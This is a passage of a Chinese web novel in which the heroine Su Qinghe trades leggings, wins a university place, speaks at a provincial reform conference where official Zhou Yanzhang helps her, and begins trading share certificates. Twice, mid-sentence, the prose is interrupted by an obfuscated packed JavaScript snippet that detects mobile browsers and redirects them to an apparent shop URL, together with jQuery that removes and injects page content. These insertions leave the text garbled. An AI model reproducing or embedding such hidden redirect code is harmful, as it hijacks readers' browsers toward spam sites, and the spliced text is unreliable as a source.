走了几步,孙梅忽然想起什么,凑到苏青禾耳边,压低声音,带着点打抱不平的意味:“哎,青禾,我跟你说个事……我听说,赵向北他妈,最近可没闲着,到处托人给他张罗相亲呢。姑娘都见了好几个了,你说说,你们这才分开多久?这家人,做事儿也太难看了点!” 苏青禾闻言,脸上没有任何波澜,甚至连嘴角那抹淡淡的微笑都没有改变,“挺好。我们本来就不是一路人。他端的是国家的铁饭碗,求的是四平八稳。我想靠自己的本事闯一闯,要的是海阔天空。他能找个踏实本分、愿意围着锅台转的姑娘,安安稳稳过日子,我真心替他高兴。” 几天后,傍晚,孙梅家附近的小河边。 吴俊明显然精心打扮过,穿的是孙梅送的新衬衫,头发梳得一丝不苟。 吴俊明推了推眼镜,语气带着按捺不住的兴奋:“青禾,梅子,今天找你们是有个急活儿。” 孙梅笑着问:“什么急活?” “我有个朋友,他们单位之前帮南方一个厂子代销一批健美裤,结果那边销售渠道出了点问题,现在压了一大堆货在仓库,急着出手回款,价格压得特别低!绝对是捡漏的好机会!” 苏青禾心中一动,健美裤?这可是眼下除了牛仔裤之外,最受年轻姑娘追捧的时髦货色。 苏青禾也来了兴趣:“俊明哥,货怎么样?什么价?” “绝对的广货,质量、版型都没得挑。”吴俊明就差拍胸脯保证了。 “本来出厂价都要八块多,现在清仓价,五块五就出!” 孙梅一听,眼睛都亮了,激动地拉苏青禾的袖子:“青禾!五块五!拿到荷花池,转手卖十二三块一点问题都没有!这差价……” 苏青禾却比孙梅冷静得多,她看向吴俊明,问题一个接一抛出:“俊明哥,货有多少?尺码齐不齐?颜色有哪些?” “还有,为什么这么急?除了渠道问题,货本身有没有瑕疵?付款方式怎么算?能不能验货?” 吴俊明收敛了兴奋,回答变得郑重起来:“货大概有五六百条,尺码应该还算齐,主要是黑色和深蓝色。着急是因为那边厂子等钱发工资,我看过样品,绝对没质量问题。付款……那边要求现款现货,最好一次性吃下。验货的话,我可以想办法带你们去仓库看。” 五六百条,全吃下要三千块。 心里把帐一算,孙梅的兴奋劲一下就没了大半。三千块,这远远超出了她和苏青禾之前任何一次生意的规模,孙梅看着苏青禾等着她拿主意。 苏青禾的大脑飞速运转,分析着这件事情的可行性。 在苏青禾看来主要风险在于压款和吴俊明这条渠道的可靠性,吴俊明在孙梅面前虽然有些喜欢显摆,但从上次牛仔裤的信息上来看,这个人带来的信息还是靠谱的。利润空间确实诱人,健美裤这类款式固定、需求旺盛的快消品,周转快,风险相对可控。关键是,这可能是她去成都前,最后一票,也是最大的一票原始积累。 “干了!”苏青禾抬眼,目光锐利,“俊明哥,麻烦你尽快安排验货。钱的事,我们来想办法。” 第二天,居委会刚上班,门口就传来了邮递员的声音:“苏青禾在吗?挂号信。” 苏青禾走出去,邮递员递给她一张领取通知单,又递过来一个本子,“签个字,你这个是 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“王主任,是我考大学了,录取通知书已经拿到了,得提前准备去学校报到的事,不好再占着岗位了。”苏青禾没提健美裤的事,考大学是最好的、也是最正当的理由。 王主任恍然想起苏青禾前段时间是在复习,但她也是没想到这大学真就这么考上了。 王主任脸上露出真诚的笑容:“哎哟,这是大好事啊!恭喜你啊小苏!我就说你这孩子有出息,那个大学?” “川大。” “哎呀呀,不得了啊。”王主任激动的拍了拍苏青禾的肩膀:“这可是好大学啊!” “行,手续我这边给你记一笔就行。这岗位是临时的,没啥好交接的,就是跟街道报备一声。” “以后上了大学,出息了,常回来看看。”王主任的语气里满是欣慰。 “一定,谢谢王主任这段时间的照顾。”苏青禾认真的道了谢。 下班,苏青禾走出居委会大门,深吸一口气,感觉身上的枷锁又松开了一道。 孙梅也冲了出来,拉着苏青禾的手快走出了一段路说道:“青禾,要不我也辞了,我们捣鼓完了健美裤再整点其他的,怎么挣的都不会比居委会这点儿工资少。”孙梅看到苏青禾辞了职,心里有些说不上来的不踏实。 “我辞职是因为要去上学,你没有必要。” “居委会这份工作虽然钱不多,但稳定。我们现在倒腾的生意都是零敲碎打的,完全不固定。挣外快的心态和辞职干的心态可完全不一样。等我们的店开起来了,你再辞职。”苏青禾分析得在情在理,孙梅虽然有点失落,但还是点了点头。 回到家,苏青禾把这段时间攒下的所有钱都拿了出来,仔细清点。加上之前倒卖外汇券和牛仔裤的利润,她手头一共有两千一百多块。 厚厚一沓钞票,大部分是十元面值的大团结,铺在旧床单上。 出门下楼和孙梅碰了头,孙梅把自己剩下的一千多块也全都拿了过来,塞到苏青禾手里:“青禾,我手里就剩这么多了,你都拿着。” 资金凑齐,下一步就是出发,苏青禾找到吴俊明约好了明天出发的时间,回家简单收拾了一个包。 对王秀兰交代道:“妈,街道临时安排,明天要跟工作组去下头的乡镇做几天调研和联络,吃住都管。” 王秀兰忙着手里的事儿,只嘱咐了一句:“自己注意安全。” “行。” 11. 第 11 章 第二天,苏青禾吴俊明两人碰头直接去了外地。 到了仓库,里面灯光昏暗,货物堆积如山。 库管和一个小领导模样的男人等在门口,小领导脸上带着几分被临时叫来的不耐。 吴俊明赶紧上前,一边递烟一边熟络地招呼:“刘主任,您好您好,辛苦您跑这一趟。我们是王哥介绍来拿健美裤的。” 刘主任接过烟,吴俊明立刻“啪”地一声划着火柴凑上去点上。刘主任深吸了一口,神色稍缓,用夹着烟的手指了指旁边几包:“样品在那,自己看吧。” 苏青禾没去动样品,直接走向后面堆得更高的大货:“刘主任,这几包我随机抽检一下,行吗?” 刘主任看了看苏青禾的脸,摆摆手,算是默许。 苏青禾动作利落地拆开几包,仔细翻看缝线、弹力、裤脚,质量确实扎实。 苏青禾还凑近闻了闻,有没有异味。就在她检查到最底下两包时,指尖触到外包装,有些湿润。 “刘主任,这两包都潮了吧?塑料袋上都有水珠了。” 刘主任探头瞥了一眼,语气不以为然:“仓库嘛,堆在最底下难免有点返潮,里面都是塑料袋套着的,东西肯定没问题。五块五已经是亏本价了,不是你们说全部要,我都不乐意跑这一趟。”说完作势看了看手表。 吴俊明立刻掏出两包塔山,迅速塞进刘主任手里,脸上堆着笑,话接得又软又滑:“知道,知道。麻烦刘主任您专门跑这一趟,我们心里都记着。但我们都是小本买卖人,这包装破了相,我们拿回去还得花时间收拾,您就当帮帮忙,再让我们点儿,我们以后还得常来麻烦您呢。” 苏青禾拎起一条从潮包里取出的裤子,也走了过来。 虽然裤子本身无恙,但包装纸明显发软破损,还有零星霉点:“刘主任,您看,这包装状态确实影响销售。您看能不能再照顾一点?我们马上点货装车,绝不耽搁您时间。” 刘主任看了看眼前这两人,想压着不让,但又想到不让的话,自己后面还不知道得为了这批货跑几趟,咂了下嘴,挥挥手:“行吧行吧,看你们也是实在人。五块三毛五,最低了!再低我没法交代。赶紧清点,我这边还有事。” 吴俊明和苏青禾对了个眼色,立刻应下,“成!多谢刘主任!” 货款两清,苏青禾两人直接拖着几大包货物,家都没回,直接杀去了荷花池。 苏青禾没有想把利润吃完,而是追求快速变现,以合理的价格通过吴建国渠道迅速出手。短短几天,三千块本金变成了五千七百多块。苏青禾估算了一下,心中有了底——这些钱够她在红庙子,谨慎地搏一次了。 苏青禾抽出了几张大团结,递给吴俊明:“俊明哥,这次多亏了你牵线。这是一点心意,别嫌少。” “青禾,你这就见外了,我跟你们俩怎么能收钱呢?” 苏青禾知道吴俊明是真心帮忙,但也不能让人家白帮忙不是,苏青禾把钱塞到吴俊明包里,“俊明哥,你就拿着吧。还是想让孙梅单独给你?” 吴俊明被苏青禾的一句调侃搞了个大红脸,“没那意思,那我就收下了。” 苏青禾从荷花池回来,风尘仆仆却心满意足。 第二天早上苏青禾没出门,王秀兰只以为是给她调休了也没多问。 直到去菜市场买菜时,王秀兰遇到了隔壁楼栋的刘大姐。寒暄间,刘大姐顺口提了句:“秀兰啊,你家这是给青禾找到好工作了?居委会的临时工都不干了?”王秀兰当时就愣住了。 苏青禾给孙梅送完钱回家,一进门,就看到王秀兰沉着脸坐在那儿。 王秀兰看到苏青禾回来,火气再也压不住了,“青禾,不是妈说你……” “居委会的工作再不好也是个饭碗,你说辞就辞了,大学是那么好考的?万一没考上,你喝西北风去啊?” 苏青禾没说话,从墙上挂着的帆布包里取出一个信封,放在折叠桌上 “这是什么?”王秀兰疑惑地打开信封,抽出那张纸——四川大学录取通知书。 空气瞬间凝固了。 王秀兰的手开始发抖,声音里已经带了哭腔,“苏志刚,苏志刚你来看。” 苏志刚凑过来,看清后,拿烟的手一颤,烟灰落在了裤子上都浑然不觉。 死寂之后,王秀兰“哇”一声哭了出来,但这次是笑着哭的,她一把抱住苏青禾:“我的闺女啊!你有出息了!出息了!” 同一天的下午,省轻工业厅某间办公室内,窗外的蝉鸣嘶哑着。 周延璋坐在办公桌后,面前摊着一份关于“东欧技术引进渠道分析”的内部简报,黑色保温杯里装着凉白开。 “咚咚——”两声规整的敲门声打断了他的阅读。 同事老王推门探头,手里拿着一份文件:“周主任,没打扰您吧?教委高教处的小刘刚送来的,说是您要的今年高校录取的生源情况简表。” 周延璋从文件中抬起头,面色平静:“是我要的,麻烦王主任跑一趟。” “不麻烦,不麻烦。”老王放下文件离开。 周延璋没有立刻去看录取情况,继续把手上的简报看完,合上,放到一边,才拿起那份新生名单。 周延璋翻页的速度平稳,目光快速扫过各校、各专业的名单,像是在进行例行的、不带任何个人感情的工作阅览。直到翻到四川大学一页,他的指尖停留在经济系一栏,开始一行一行的往下看。 名单上,苏青禾三个字赫然在列。后面跟着的分数颇为醒目,备注栏里清晰地标注着:绵城市文科第三名。 在苏青禾的名字映入眼帘的一瞬,周延璋的唇角就勾起了笑容。 很好,她做到了。 周延璋的目光停留在苏青禾的名字上,眼前闪过的是苏青禾说那句“离得近”时的眼神。 同一天傍晚,苏家那间狭窄的客厅里,气氛是少有的热闹。 屋顶的电灯泡似乎都比往日亮堂几分。 饭桌上罕见地摆满了菜,中间是一盆热气腾腾的土豆炖鸡,香气混着老家具的味道,弥漫在狭小的空间里。 王秀兰难得的舒心,脸上的笑就没收过,不年不节的日子甚至还给苏志刚的酒盅里斟满了散装白酒。 “吃,都多吃点!”王秀兰招呼着,筷子精准地夹起那只油光发亮的鸡腿,放到了苏青禾碗里,“青禾,吃这个,补补脑子!”今天下午,苏青禾将那张崭新的川大录取通知书放在桌上时,王秀兰先是惊愕,随即是巨大的狂喜,之前对女儿擅自辞职的那点不满,早已烟消云散。 苏志刚闷头喝了一小口酒,辣得他眯起眼,再抬头看向大女儿时,眼神里是朴实的欣慰,他拍了下大腿,声音带着点酒后的酣畅:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372597|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好!好啊!我老苏家祖坟冒青烟,出大学生了。” “川大,光宗耀祖!光宗耀祖!” 苏向阳啃着属于自己的那半只鸡腿,含混不清地说道:“姐,你等着。明年我肯定也考到成都去,到时候妈腌的辣萝卜干,我给你背一坛子去。” 苏青禾咽下嘴里的鸡肉,抬头冲苏向阳挑眉一笑,调侃道:“就你上次物理月考那六十分?” 苏向阳被戳到痛处,“那只是月考,我没发挥好。” 看苏青禾一副不信的样子,苏向阳梗着脖子:“你、你等着瞧!我下次肯定考好!” 饭桌上的气氛,是苏青禾穿越以来从未感受过的温暖与和谐。她看着父母眼角笑出的褶子,听着弟弟不服气的嘟囔,心里那因为穿越而来的疏离感,似乎被这具身体原生的情感悄悄融化了一角。 几天后,孙梅中午休息来家里找苏青禾,“王主任让你下午去一趟居委会。” 苏青禾:“有什么事儿吗?” 孙梅:“好像是让你一起去省里开会。” 下午苏青禾和孙梅一起去了街道办。 苏青禾找到王主任:“王主任,您找我?” “青禾来了,快坐。”王主任很热情。 “青禾,省里要开个‘全省城镇集体所有制企业改革经验交流暨工作推进会’,点名要我们街道去介绍红旗厂那个职工安置和短期自救结合的经验。” 王主任也不绕弯子,很实在的说道:“具体工作都是你参与的,你最清楚。你要没什么事儿就跟我一起去一趟,不然我心里没底。” 苏青禾略一思索,便答应下来:“好的,王主任,我准备一下,到时候和您一起去。” 从居委会出来,苏青禾想了想,找到一家公用电话,拨通了周延璋办公室的电话。 电话响了几声后被接起。 “那位?”周延璋的声音从听筒里传来。 “周组长,是我,苏青禾。” “嗯。有事?”周延璋的声音透过听筒,听不出波澜。 苏青禾:“两件事。第一,录取通知书收到了,川大经济系。” 电话那头似乎是轻笑了一声,接着苏青禾便听到周延璋的回应:“恭喜你。” “要多谢您之前各方面的帮助。”苏青禾真诚的道谢。 周延璋:“这是你自己努力的结果。” “第二件事,”苏青禾语气里带着些微妙的笑意,“街道王主任接到通知,要参加省里的‘集体企业改革经验交流会’,她希望我陪同一起去,介绍红旗厂的情况。我们会准时参加。” 电话那头的沉默稍微长了几秒,然后才听到周延璋的声音:“好,知道了。” 挂断电话,周延璋拿起桌上的日程安排表看了一眼。 下午,处里的例会。 会议临近尾声,讨论到参加下周改革经验交流会的人选安排时,王厅长征求大家意见,“那位有时间代表厅里去参加一下?” 周延璋应道:“王厅长,我去吧。红旗服装厂的改制我全程参与,情况比较熟悉,可以去交流一下经验,也听听其他地区的做法。” 王厅长点头,“好,那就延璋代表厅里参加。” 理由充分,无可挑剔。 只有周延璋自己知道,这个看似工作需要的决定背后,藏着一丝私人的期待。 12. 第 12 章 省委会议室,“集体企业改革经验交流会”的会场。 会议开始前,走廊里站着来自各地市县的领导,大家热络的交谈着。 王主任虽然只是一个居委会主任,但也碰到了几个熟人,苏青禾安静地站在一旁。 这时,省团委的李部长在一位年轻干部的陪同下穿过走廊往会议室走去,经过王主任身边时顿住了脚步,朝王主任伸出了手,“王主任。” 王主任连忙欠身向前,握住了李部长的手,“李部长,您好。” “我们看了你们的总结报告,那个居委会牵头、能人带动、生产自救的模式,很好。思路活,办法实,很有启发意义,这次要和大家多交流交流。”李部长笑着点头评价了两句。 王主任连忙侧身,笑着将苏青禾让到身前:“李部长,您可别光夸我。思路活,跑得勤的,是我们小苏,苏青禾同志。居委会和厂里的具体事项都是她对接捋顺的。”陪同在李部长身旁的王向东目光越过了握手的两人,落在王主任身后的苏青禾身上。他刚才跨入走廊,眼神就扫到了到苏青禾。王向东见过的漂亮女孩很多,但苏青禾的长相放在漂亮女孩堆里也是出挑的。 苏青禾上前一步与李部长握手,并不怯场,“李部长,您好,我们只是做了点力所能及的摸索。 在李部长与苏青禾握手寒暄后,王主任身旁的人也凑了过来,“李部长,您好,我是……” 这时,李部长身后的王向东上前半步,站到苏青禾对面笑着递上一张简洁的名片,“苏青禾同志,你好。我叫王向东,省团委干事。” 苏青禾双手接过王向东的名片,礼貌的点点头,“王干事,你好。” 王向东的目光停留在苏青禾脸上,微微仰着下巴,带着居高临下的意味,“你们居委会在这次红旗服装厂生产自救中表现很有意思,你的表现正是我们团委需要积极推广和宣传的典型。” 苏青禾笑了笑,谦虚地说道:“王干事过誉了。” 各地人员开始入场,王向东和苏青禾点了点头,跟在李部长身后进入了会场。 会场里人头攒动,苏青禾找到自己的位置坐下,拿出笔记本。 会议室前方传来一阵轻微的骚动,接着是更密集的寒暄声。 苏青禾抬眼望去,只见一行人正从侧门步入主席台区域,其中一道身影格外醒目——周延璋。 周延璋在对应的名牌后落座,侧身与邻座的一位年长领导低声交谈。他今天穿一件浅灰色衬衫,剪裁合身,质地挺括,衬得肩背平直,身形挺拔。大约是回到了熟悉的环境,他面上在绵城时那股迫人的、带着审视与疲惫的冷峻淡去了不少,整个人显得眉眼舒朗,脸上的表情也是松弛又从容。 苏青禾的目光在他身上停留了几秒,嘴角不自觉地弯起一点弧度。好吧,她得承认,这样清爽利落、坐在光鲜主席台上的周延璋,确实…… 仿佛心有所感,正倾听旁人说话的周延璋,目光不经意地掠过台下,扫过苏青禾这个方向时,有了一个短暂的停顿。 随即,他神色未动,目光也如常移开,继续之前的交谈,仿佛只是随意巡视会场。 会议正式开始,主持人介绍到会领导。念到“省轻工业厅的周延璋同志”时,他向着台下略一颔首,姿态沉稳,无可挑剔。 苏青禾垂下眼,笔尖在笔记本上点了点,留下一个墨迹。 绵城的王主任在介绍红旗服装厂生产自救经验时,条理清晰。但当主席台上的领导追问细节:“王主任,你说利用积压布料转产牛仔裤,这个思路很活。但具体怎么转?老师傅们习惯做制服,现在要做时髦的牛仔裤,版型、水洗这些新工艺,技术问题怎么解决?做出来又往哪里卖?” 王主任的流畅被打断,指了指坐在身后的苏青禾,“这个由我们具体负责的苏青禾同志来为大家讲解。” 苏青禾得到示意后站起身补充道:“各位领导,技术上,我们的办法是请老师傅吃透样板。我们把广州最新的牛仔裤拆了,版型、线迹、水洗效果,一遍遍比对、试错。老师傅带着青工,用厂里现有的原料,调试了七八次,才把水洗配方和做旧效果稳定下来。” 苏青禾的话没有半点虚词,全是硬邦邦的细节。台下原本有些心不在焉的与会者,渐渐坐直了身体。几个来自其他困难企业的负责人,更是伸长了脖子。 “至于销路,”苏青禾顿了顿,目光极快地掠向主席台侧方周延璋的位置。 苏青禾的目光精准地撞入了周延璋的视线,他早已经在看着她。两人的目光在空中短暂交汇,周延璋看似是正常的倾听姿态,但苏青禾的眼神捕捉到他在和自己对视后,调整了一下坐姿,喉结也轻微地滚动了一下。 苏青禾收回眼神继续发言:“销路上,红旗服装厂没等,也没靠任何计划调拨。是工作组帮忙牵头,红旗服装厂的人自己背着样品,一家家谈,用同等质量却比南方厂家更低的价格,把订单啃了下来。” 苏青禾报出了几个关键数据,库存消耗量、参与职工人数、人均增收数额,数字都不大,但是产生在生产自救这个概念下,就显得很可贵。 台下的王向东也在看苏青禾,目光里充满了猎奇与审视。能在这样的大会上侃侃而谈,还把各项数据报的这么清晰,这样的年轻女孩不是说没有,但确实不多。王向东见多的大多数脑子好用的女孩没苏青禾漂亮,漂亮的又没有苏青禾这么有脑子。 会场里响起一片低低的讨论声,连主席台上几位领导的坐姿,都微微前倾了些。李部长手指在报告上点了点,对身旁的秘书低声说了一句什么,秘书立刻低头记录。 王主任在一旁,脸上满是与有荣焉的光荣。 中场休息,苏青禾随着人流走出会议室。 她刚在休息区的沙发坐下,王向东便不知从哪儿冒了出来,手里端着两个白瓷杯。他很自然地坐到苏青禾身旁,将其中一杯茶递过来,脸上挂着热情的笑:“苏同志,开会辛苦,喝点水润润喉。” “谢谢王干事。”苏青禾礼貌接过,把杯子放在了身旁的茶几上。 王向东递出杯子后身体顺势前倾,带来一股若有似无的古龙水味儿,“青禾同志别这么见外。” 见苏青禾看过来,王向东自来熟的说道:“以后在省城,学习上、工作上有什么需要交流协调的,尽管到团委来找我。我们团委就是为青年人才服务的。” 随着王向东的靠进,苏青禾脖颈后的寒毛微微一炸,身体不着痕迹地向后靠了靠,拉开了一点与王向东之间距离。她正欲开口,一个低沉熟悉的声音在身侧响起,恰到好处地截断了她未出口的话。 “苏青禾。” 苏青禾闻声回头,见是周延璋,笑着站起身打招呼,“周组长。” 周延璋走近,脚步未停,目光先扫过两人间座位的空隙,而后落到王向东身上,微一颔首,声音平稳的招呼道:“向东同志。” “周主任。”王向东也站了起来,声音与周延璋的平稳不同,很是亲近的说道:“周主任,我和青禾同志正聊青年人才发掘培养的事。” 周延璋看到苏青禾扭着头,撇了撇嘴,眼里带上了笑意,没接王向东的话,而是看向苏青禾问道:“没和王主任一起?” “没,王主任在和领导交流。”苏青禾答的很随意。 周延璋点头,转头看着王向东,脸上的笑容很官方,“王干事今天是陪领导过来?” “对,陪王书记来学习交流一下。”王向东笑容不变,目光在周延璋和苏青禾之间打了个来回,语气有些微妙的说道:“没想到,周主任对基层的工作也这么关心。” “职责所在。”周延璋的回答简短,不带情绪,随即目光自然地从王向东身上移开,落回苏青禾脸上。 苏青禾迎着周延璋的真诚的说道:“周主任,祝贺您。” 不是疑问,是陈述。王向东那一声略带刻意的周主任入耳时,苏青禾在心里就有了判断。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372598|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在绵城,所有人,包括厂领导,都称周延璋为周组长。结合周延璋的年龄,他当时最有可能的职位是省厅的科长,来到地方临时负责专项工作,称呼组长是惯例。而现在省团委的王向东,如此自然地改口称主任,只可能是周延璋的职务已发生了实质性变动,这个新称谓,已是他当前或即将履新身份的正确指代。 周延璋看着苏青禾,眼底掠过一丝讶异,为苏青禾的敏锐。他没想到,仅仅一个称呼的变化,苏青禾就听出了门道。 周延璋没有否认,自然地点点头:“后续工作会有调动,去对外经济贸易发展委员会,处理一些新领域的事。” “对外经济贸易发展委员会?”苏青禾的眼睛亮了一下,这个部门在当下是技术引进与对外谈判中的核心决策部门,可谓是改革开放的前沿阵地。 然而,比这去处更让苏青禾惊讶的是,周延璋可以从轻工业厅,一个专业、具体、相对封闭的部门,调任至对外经济贸易发展委员会这样一个综合、前沿、身处改革开放风口浪尖的核心部门,这中间的跨越并不只是一个简单的部门调动。 苏青禾:“那可是改革开放的最前沿。恭喜您,周组长……哦,现在该叫周主任了。” 周延璋意于苏青禾对于自己新部门的了解,他没接恭喜的话,反而问:“你和王主任是开完会就回去?” 苏青禾:“我下午还要去办点私事。” 被排除在两人对话外的王向东开口插话道:“周主任,您看……” 听到王向东的声音,周延璋仿佛才发现他还没离开,“向东同志,我不耽误你吧?” 王向东笑容一僵,讪讪道:“不耽误,不耽误,你们聊,你们聊。”说完对苏青禾点点头,转身离开。 苏青禾吸了口气,觉得周围空气都为之一清,坐回了沙发上,跟着便感觉身侧的沙发微微一陷。 周延璋也坐了下来,在苏青禾身旁,隔着一个礼貌的距离。 周延璋目光扫过王向东离开的方向,用只有两人能听清的音量提了句:“这位王向东同志,一直比较活跃。” 苏青禾侧头,视线落到周延璋微微蹙起的眉头上,点了点头。 见苏青禾明白了自己的意思,周延璋微笑着伸出手,“恭喜你,考上了理想的大学。” 苏青禾也微笑着伸出手,“谢谢。” 周延璋从公文包内袋里取出一个朴素的牛皮纸信封,递到苏青禾面前,语气带着郑重,“苏青禾同志,课堂装不下你的能力,你需要更开阔的视野。” 苏青禾没有立刻伸手接过信封,微微挑眉看着周延璋,等着他的解释。 周延璋看向苏青禾的目光专注了几分:“我的恩师,陈骋教授。他在川大带博士生,也参与省里的产业政策咨询。如果你学有余力,带着你的想法和问题去见他,收获会远大于课堂。” 苏青禾的睫毛不可抑制的颤了颤,看着周延璋的眼神满是震惊。 陈骋——这个名字苏青禾太熟悉了,在那些艰深的经济学专著扉页上,在关于宏观经济的权威论述末尾。陈聘的名字代表的不是一名普通的教授,是经济学术和政策领域的一座高山。 苏青禾看着周延璋手里的信封,这已经不是一份简单的升学礼物了,是为她量身准备的一把钥匙。他知道了她的下一步,便在苏青禾自己都未曾完全看清的高度上,为她铺设了道路。 这个认知所带来的冲击,比陈骋这个名字本身,更让苏青禾震动。 苏青禾双手郑重地接过信封,小心收好。她抬起眼,脸上最初的惊讶已经转为一种更为复杂的情绪。 “周组长,”苏青禾的眼里满是真诚的感谢,“我会好好带着思考去的,绝不辜负你的引荐。” 每个字苏青禾都咬得很重,不仅是对一份珍贵礼物的感谢,更是对周延璋这番用心的郑重回复。 会议铃声响起。 周延璋站起身,冲她点了点头:“进去吧。” 13. 第 13 章 开完会。 下午,苏青禾没有和王主任一起返回绵阳。 苏青禾坐车到红庙子,先是在周边仔细逛了逛,才再次踏入了那条喧嚣的小巷。 与上次纯粹的旁观不同,这次苏青禾带了一个小本子。她没有急于融入那片沸腾的人海,而是找了个相对僻静的角落,快速记录着几个重点关注目标的价格波动。除此之外还认真观察着那些交易活跃的摊主在交易时的习惯性小动作。 上次来,苏青禾就清醒地认识到了,这里没有交易系统,全凭人肉报价和口头成交,机会转瞬即逝。 秩序是混乱的,规则是原始的,现在的红庙子就是一个野蛮生长、充满铜臭与风险的资本丛林。苏青禾原先计划的利用开学后课余时间进行零星操作,显然不现实。要在这里搏杀,必须投入大量的时间。 整个下午苏青禾都在认真观察,默默记录,直到交易人群逐渐散去才回了绵城。 晚饭时分,王秀兰夹了块肉给苏青禾:“会开完了就好好歇几天。” “我打算明天就去成都,”苏青禾趁机开口。 苏志刚难得的关心了一句:“这么急?” “提前熟悉下环境,成都的参考资料也更多,我基础比别人差,要更努力一些。”苏青禾的说词是张口就来。 王秀兰转头对儿子苏向阳说道:“学学你姐,人家考上了都还怎么用功,哪儿像你……” 苏向阳扒着碗里的饭幽怨地看了苏青禾一眼。 也就是苏家人不清楚大学的规矩,不知道苏青禾提前这么早根本就进不去学校,没有宿舍住,不然肯定不会就这么信了她的随口一说。 吃完晚饭苏青禾去找了孙梅,她手里的本钱里也有孙梅的一部分。 两人也没走远,就坐在门口的花坛边。 “梅子,我准备明天就去成都,开学前就蹲在红庙子了。”苏青禾斟酌着用词,既要让孙梅明白机会的分量,又不能隐瞒风险,“红庙子那边,倒卖股权证确实是个机会。” 孙梅眼睛微微睁大,之前就听苏青禾提过,后来她自己也打听了一下,“那地方……水很深吧?” “很深。”苏青禾点头,客观的说着自己的判断,“机会在于,这东西稀少,想要的人多,价格可能会短时间内飞涨。” 孙梅的脸上刚泛起喜色,苏青禾就跟着泼来了凉水,“但风险也大,第一,政策没明说允许,交易没有任何保障,钱和凭证可能说没就没。第二,把握不准,接到的就可能就是最后一棒。” 苏青禾顿了顿,说出了最需要孙梅知道的信息,“要参与,我们需要把现在能动用的钱,全部投进去。而且,要快。”苏青禾对机会和风险都没有任何美化。 “全部?”孙梅倒吸一口凉气。 沉默在两人之间蔓延,苏青禾没有催她,只是安静地等着。她必须给孙梅消化和抉择的时间。这不是她一个人的事,当然如果孙梅不愿意她自己也会去,只不过就是本金更少,积累更慢而已。 过了好一会儿,孙梅才长长吐出一口气,声音有点干涩的问道:“青禾……你有多大把握?”她没问能不能赚钱,能挣多少,而是问苏青禾的把握,说到底孙梅能信的也只是苏青禾这个人而已。 “梅子,我没有十成把握。世上没有稳赚不赔的买卖,尤其是这种高风险高收益的。”苏青禾没有给出百分百的承诺,那不是她的风格。 苏青禾:“但这可能是普通人能在政策完全明朗前,抓住的最后一波,也是最大一波制度红利。错过了,以后或许还有机会,但像这样用较小本金博取巨大回报的窗口,可能就真的关上了。” 苏青禾看着孙梅,能理解她的犹豫,因为这笔钱完全已经够孙梅组建一个新的小家庭了。 “梅子,牛仔裤、健美裤这种机会可遇不可求。我们想要开店,想要在成都扎根,不能只靠这些偶然的机会来积攒本金,那样太慢了。这一步,很险,但值得赌。当然,”苏青禾加重语气,“如果你觉得不行,我也能理解……” “全部……就全部!”孙梅猛地抬起头,眼里那点犹豫被一种豁出去的狠劲取代。 孙梅的声音压得很低,像是怕被人听见,“青禾,我信你!从卖裤子开始我就信你。你说值得赌,咱就赌,大不了……大不了从头再来!” 苏青禾笑了,孙梅的信任是滚烫的,这不是简单的同意,是她托付身家的信任。 第二天苏青禾在火车站下了车,没有像无头苍蝇一样乱撞。而是目标明确地找到了锣锅巷的一家国营招待所。 招待所看起来有些年头,设施普通,但价格并不便宜。 苏青禾选这家招待所的理由只有一个,离派出所近,出了招待所大门200米就是派出所。多花一点钱,换取最基本的人身安全保障,在苏青禾看来是必要的。 她用介绍信办了入住,房间狭小陈旧,但还算干净。锁好房门后,苏青禾将带来的5700元本金仔细清点。在这个存取款都不便利的年代,携带大量现金是常态,也是巨大的风险源,她不可能频繁往返银行。 苏青禾昨晚就在贴身衣物的里面缝了几个隐蔽的小口袋,将钱分开放置。确保自身和资金的安全,是一切的前提。安顿妥当后,她站在窗前,望着派出所的大门,深深吸了口气。一切就要开始了。 午后阳光给混乱的红庙子市场镀上了一层虚幻的金色。 苏青禾穿着一件半旧的深色衬衣,头发利落地挽在脑后,戴着一顶普通的太阳帽,帽檐压得略低,遮掩了部分过于清秀的眉眼。她知道,在这里,显眼并非好事。苏青禾耐心地穿梭在人群中。她避开了那些被狂热人群包围的热门品种,目光在那些无人问津、价格近乎废纸的股权证上扫过,但她的目标,绝非真正的废料。 苏青禾最终锁定了“市第二印刷厂”的股权证。这是她经过分析后的选择,这家厂规模不大,却是不可或缺的配套企业,意味着它彻底消失的可能性较低。价格已跌至尘埃,即便最坏情况发生,损失也极其有限。而一旦有任何风吹草动,比如与文化概念沾边的重组传闻,其反弹空间将十分可观。用少量资金去博取这种不对称的收益,正是苏青禾的投资策略。 交易过程平淡无奇。 苏青禾走向一个蹲在墙角、面色焦黄的中年倒爷,对方正无精打采地抽着烟。 “这个,什么价?”苏青禾把嗓音压了压,指着板子上写的市第二印刷厂100股问道。 倒爷撩起眼皮瞥了她一眼,微微惊讶于苏青禾的年轻,随口报了个价,带着几分爱答不理。 这个价格已经在苏青禾预期之内,但该有的讨价还价还是不能少:“太高了。5.4卖不卖” 苏青禾报出了一个比对方开价低不少,但并不离谱的价格。这不是冲动还价,是一个既可以表现出一定的购买诚意,避免对方觉得她毫无兴趣而拒绝交易,又可以将成本压到最低的价格,符合她对这笔投资下行风险有限的定位。 